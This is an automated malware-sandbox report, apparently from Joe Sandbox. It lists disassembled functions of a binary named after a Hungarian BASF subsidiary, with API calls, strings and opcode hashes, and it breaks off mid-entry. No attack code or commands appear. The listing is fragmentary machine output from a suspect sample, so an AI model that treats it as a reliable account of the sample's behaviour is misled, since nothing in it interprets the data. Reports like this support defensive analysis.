                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID: msctls_trackbar32
                                                              • API String ID: 3850602802-1010561917
                                                              • Opcode ID: fc6b13aed7c56ec3247cb0c7ef42ea8be2cd5d3a4865f7342060b3ebd263f876
                                                              • Instruction ID: 1393d48d5ff892945ab7f3137bfd590266481aa4adb7edaf6431af338a862bb6
                                                              • Opcode Fuzzy Hash: fc6b13aed7c56ec3247cb0c7ef42ea8be2cd5d3a4865f7342060b3ebd263f876
                                                              • Instruction Fuzzy Hash: 2B11E372254208BEEF249F65CC05FEB77A9EFC9B54F114628FA41A6090C676E811CB20
                                                              Function 00759B79 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __lock.LIBCMT ref: 00759B94
                                                                • Part of subcall function 00759C0B: __mtinitlocknum.LIBCMT ref: 00759C1D
                                                                • Part of subcall function 00759C0B: EnterCriticalSection.KERNEL32(00000000,?,00759A7C,0000000D), ref: 00759C36
                                                              • __updatetlocinfoEx_nolock.LIBCMT ref: 00759BA4
                                                                • Part of subcall function 00759100: ___addlocaleref.LIBCMT ref: 0075911C
                                                                • Part of subcall function 00759100: ___removelocaleref.LIBCMT ref: 00759127
                                                                • Part of subcall function 00759100: ___freetlocinfo.LIBCMT ref: 0075913B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CriticalEnterEx_nolockSection___addlocaleref___freetlocinfo___removelocaleref__lock__mtinitlocknum__updatetlocinfo
                                                              • String ID: 8~$8~
                                                              • API String ID: 547918592-4061854447
                                                              • Opcode ID: c1dd61124575347b4c34182f356dd927211b47aaf1833a0cf35fcc645f5ecfce
                                                              • Instruction ID: a4e45f901d472552a38a87873e9488b5c06e8c06fa6fdb63670d4f61ec265dfd
                                                              • Opcode Fuzzy Hash: c1dd61124575347b4c34182f356dd927211b47aaf1833a0cf35fcc645f5ecfce
                                                              • Instruction Fuzzy Hash: D3E086F1943345E7EA50B7A4694BF8C36505B04723F204159F9556D0C1DEFC1408851B
                                                              Function 00734C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,00734B83,?), ref: 00734C44
                                                              • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00734C56
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                              • API String ID: 2574300362-1355242751
                                                              • Opcode ID: 60eb9fa85155b888f5077cef934ff36bc8fd8c915fd1f1146ac7876ca193b6fa
                                                              • Instruction ID: ce621d29b847a93e7395a3e44fa154869b763df5be99414d0d185a79e656d974
                                                              • Opcode Fuzzy Hash: 60eb9fa85155b888f5077cef934ff36bc8fd8c915fd1f1146ac7876ca193b6fa
                                                              • Instruction Fuzzy Hash: D0D0C2B0511717CFD7244F36CC0871672D5AF04740F10CC39D492C6160E678D880C620
                                                              Function 00734C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,00734BD0,?,00734DEF,?,007F52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00734C11
                                                              • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00734C23
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                              • API String ID: 2574300362-3689287502
                                                              • Opcode ID: 8b1c5a162f04bad659abac749e6196ea160d173ecb098f304f27e0a1d0045e1d
                                                              • Instruction ID: 92d1580ced1991cf6913d012af6304bf1a991d554d263cd9fa29fefe73b5e7b1
                                                              • Opcode Fuzzy Hash: 8b1c5a162f04bad659abac749e6196ea160d173ecb098f304f27e0a1d0045e1d
                                                              • Instruction Fuzzy Hash: 8AD0C27051171BCFDB205F75CC08707B6E6EF08741F00CC39D481C2150E6B8D880C620
                                                              Function 007B0DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(advapi32.dll,?,007B1039), ref: 007B0DF5
                                                              • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 007B0E07
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: RegDeleteKeyExW$advapi32.dll
                                                              • API String ID: 2574300362-4033151799
                                                              • Opcode ID: 32cff744dbe990542bac6ed451492974332bd5275017f885090e71580794ab95
                                                              • Instruction ID: f518b4867287fcde0fd1a8f11fa85c298613aef2872aa69406b6031fb37edcb4
                                                              • Opcode Fuzzy Hash: 32cff744dbe990542bac6ed451492974332bd5275017f885090e71580794ab95
                                                              • Instruction Fuzzy Hash: 86D0C27140031ACFC3205F79CC097C372D5AF04741F00CC3DD591C2190E6B8E4A0C644
                                                              Function 007A90E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,00000001,007A8CF4,?,007BF910), ref: 007A90EE
                                                              • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 007A9100
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: GetModuleHandleExW$kernel32.dll
                                                              • API String ID: 2574300362-199464113
                                                              • Opcode ID: 8c66a7132c40ce231d800714d30023377151b862745deffc84a5a25b713ccf2f
                                                              • Instruction ID: fa9e3c3ba42c20aa966cf8693752f9404d6ae84a1755db23dd700f6d99d28732
                                                              • Opcode Fuzzy Hash: 8c66a7132c40ce231d800714d30023377151b862745deffc84a5a25b713ccf2f
                                                              • Instruction Fuzzy Hash: 91D0C7B052071BCFCB208F39CC08B0272E9AF06B41B22CD3AD486D2190FA78C880CA90
                                                              Function 00771714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: LocalTime__swprintf
                                                              • String ID: %.3d$WIN_XPe
                                                              • API String ID: 2070861257-2409531811
                                                              • Opcode ID: dff36749101ecf352f2ccf4d0316b874060ab6b6a79780c4095fcd4c0bbc337e
                                                              • Instruction ID: 2782038b5f50b856724f851091a3f35032af16d63dd6ca7ee4e8336ced7bd969
                                                              • Opcode Fuzzy Hash: dff36749101ecf352f2ccf4d0316b874060ab6b6a79780c4095fcd4c0bbc337e
                                                              • Instruction Fuzzy Hash: 23D05B7280510CFACF4997949C89CFD737CB718381F904562F90AE2050E23D8B54D761
                                                              Function 0078717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 559fad1b89b0a43a53c04d3a04492efc812125a0e8f61ce518153a9a97f2adf4
                                                              • Instruction ID: bbd6cb65ddfd90e106c13d88c496bbd94348b6a7b0be9df95183d471b1fd347a
                                                              • Opcode Fuzzy Hash: 559fad1b89b0a43a53c04d3a04492efc812125a0e8f61ce518153a9a97f2adf4
                                                              • Instruction Fuzzy Hash: ACC19375A04216EFCB18DFA4C884EAEBBB5FF48714B248598F80ADB251D734DD41DB90
                                                              Function 007AE02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharLowerBuffW.USER32(?,?), ref: 007AE0BE
                                                              • CharLowerBuffW.USER32(?,?), ref: 007AE101
                                                                • Part of subcall function 007AD7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 007AD7C5
                                                              • VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 007AE301
                                                              • _memmove.LIBCMT ref: 007AE314
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: BuffCharLower$AllocVirtual_memmove
                                                              • String ID:
                                                              • API String ID: 3659485706-0
                                                              • Opcode ID: 0625f980b1ad8d9b70a93bc21adc2e2cd101fe935d5b546149e9a32f87a7deea
                                                              • Instruction ID: 4e03960245bd7199bd8b7cd8c1ce156db16882468085607d62e1c46d7b790f8a
                                                              • Opcode Fuzzy Hash: 0625f980b1ad8d9b70a93bc21adc2e2cd101fe935d5b546149e9a32f87a7deea
                                                              • Instruction Fuzzy Hash: 8AC15771608301DFC714DF28C484A6ABBE4FF8A714F048A6DF8999B351D775E906CB82
                                                              Function 007A8093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CoInitialize.OLE32(00000000), ref: 007A80C3
                                                              • CoUninitialize.OLE32 ref: 007A80CE
                                                                • Part of subcall function 0078D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0078D5D4
                                                              • VariantInit.OLEAUT32(?), ref: 007A80D9
                                                              • VariantClear.OLEAUT32(?), ref: 007A83AA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                              • String ID:
                                                              • API String ID: 780911581-0
                                                              • Opcode ID: 9630210a66dcc0d4f2996676dc8c3af81575235bb9d7332483cbadace0aa008d
                                                              • Instruction ID: 2d2c3a4ac4b07a4087b9e0c8d3bb4002e1f41004c003dc18bc66f683164bdce5
                                                              • Opcode Fuzzy Hash: 9630210a66dcc0d4f2996676dc8c3af81575235bb9d7332483cbadace0aa008d
                                                              • Instruction Fuzzy Hash: BDA16975604701DFDB40DF24C885B6AB7E4BF8A724F048508FA959B3A2CB78EC05CB82
                                                              Function 0078687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Variant$AllocClearCopyInitString
                                                              • String ID:
                                                              • API String ID: 2808897238-0
                                                              • Opcode ID: 0d0a98d65fdb35be384e8b714b75b23056b646d963ed8ad3d3135fd9b68e01fa
                                                              • Instruction ID: a5dfcc710d0759d5e38ec16aaa9584493e1cbc4257a8e84c6218959fc3544122
                                                              • Opcode Fuzzy Hash: 0d0a98d65fdb35be384e8b714b75b23056b646d963ed8ad3d3135fd9b68e01fa
                                                              • Instruction Fuzzy Hash: E851E774780301FADF28BF65D895A2AB3E5AF44310F20C81FE686DB291DA7CD8408742
                                                              Function 007B97F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowRect.USER32(0193F8E8,?), ref: 007B9863
                                                              • ScreenToClient.USER32(00000002,00000002), ref: 007B9896
                                                              • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 007B9903
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$ClientMoveRectScreen
                                                              • String ID:
                                                              • API String ID: 3880355969-0
                                                              • Opcode ID: 363fb5277333b48ad457944a0a181e48c2879f0ff9beece89b4ed95504db2b02
                                                              • Instruction ID: bb81b12a97dc104b70b73b77aed4ead575a0d5d3a50d99968c178cd5a7174638
                                                              • Opcode Fuzzy Hash: 363fb5277333b48ad457944a0a181e48c2879f0ff9beece89b4ed95504db2b02
                                                              • Instruction Fuzzy Hash: C3513034A00609EFCF14CF54D884AEE7BB5FF55360F148169FA659B2A0D735AD41CB90
                                                              Function 00789A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00789AD2
                                                              • __itow.LIBCMT ref: 00789B03
                                                                • Part of subcall function 00789D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00789DBE
                                                              • SendMessageW.USER32(?,0000110A,00000001,?), ref: 00789B6C
                                                              • __itow.LIBCMT ref: 00789BC3
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$__itow
                                                              • String ID:
                                                              • API String ID: 3379773720-0
                                                              • Opcode ID: d9cff315df90d8a79be579e60679f558153976c6c44baf4346d6037c508c32ea
                                                              • Instruction ID: c2a216d61d9f54425197989d27c1e11b4e1d1edf64e98bcc7ca3ceae81e7e250
                                                              • Opcode Fuzzy Hash: d9cff315df90d8a79be579e60679f558153976c6c44baf4346d6037c508c32ea
                                                              • Instruction Fuzzy Hash: 074181B0A40208EBDF25EF54D849BFE7FB9EF48754F040059FA05A7292DB789944CB61
                                                              Function 007A69AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • socket.WSOCK32(00000002,00000002,00000011), ref: 007A69D1
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 007A69E1
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                              • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 007A6A45
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 007A6A51
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$__itow__swprintfsocket
                                                              • String ID:
                                                              • API String ID: 2214342067-0
                                                              • Opcode ID: d721160653b6fb8c21971043632d20a1fb9cbd4200eecc8b657fc30530e56394
                                                              • Instruction ID: cbb1621f8127eacea21b9d20a464214845e14110241ccc914682353f83f4a44d
                                                              • Opcode Fuzzy Hash: d721160653b6fb8c21971043632d20a1fb9cbd4200eecc8b657fc30530e56394
                                                              • Instruction Fuzzy Hash: 0C41A275740200AFEB60AF24DC8AF6A77E49B45B14F04C158FA59AB2C3DAB99D008B91
                                                              Function 007A641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • #16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,007BF910), ref: 007A64A7
                                                              • _strlen.LIBCMT ref: 007A64D9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _strlen
                                                              • String ID:
                                                              • API String ID: 4218353326-0
                                                              • Opcode ID: 30ef4bf119e8550caaf88e617b4b126a2d4faaa390a2c6ac6ee2ecd7d5d1500e
                                                              • Instruction ID: b87ea0df87dc9156257816d6086c7024601e27f245c7a90f73f91c9a93e2204d
                                                              • Opcode Fuzzy Hash: 30ef4bf119e8550caaf88e617b4b126a2d4faaa390a2c6ac6ee2ecd7d5d1500e
                                                              • Instruction Fuzzy Hash: F441F571A00104EFDB14FBA8DCC9FAEB7A9AF49310F148255F91997297DB38AE14CB50
                                                              Function 0079B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0079B89E
                                                              • GetLastError.KERNEL32(?,00000000), ref: 0079B8C4
                                                              • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0079B8E9
                                                              • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0079B915
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CreateHardLink$DeleteErrorFileLast
                                                              • String ID:
                                                              • API String ID: 3321077145-0
                                                              • Opcode ID: 640e08a34a7e4d3f9b87209c360cf7d212d23103c8351fbfad98c5a113d037ea
                                                              • Instruction ID: faacf1a2086506a0dc1e535d0cfc3ab56e9c4985db9eb0d0766e2a523dff7e8b
                                                              • Opcode Fuzzy Hash: 640e08a34a7e4d3f9b87209c360cf7d212d23103c8351fbfad98c5a113d037ea
                                                              • Instruction Fuzzy Hash: E1411939600610DFDB10EF15D588A9DBBE1AF89720F198098ED4A9B362CB79FD01CB91
                                                              Function 007B8851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 007B88DE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
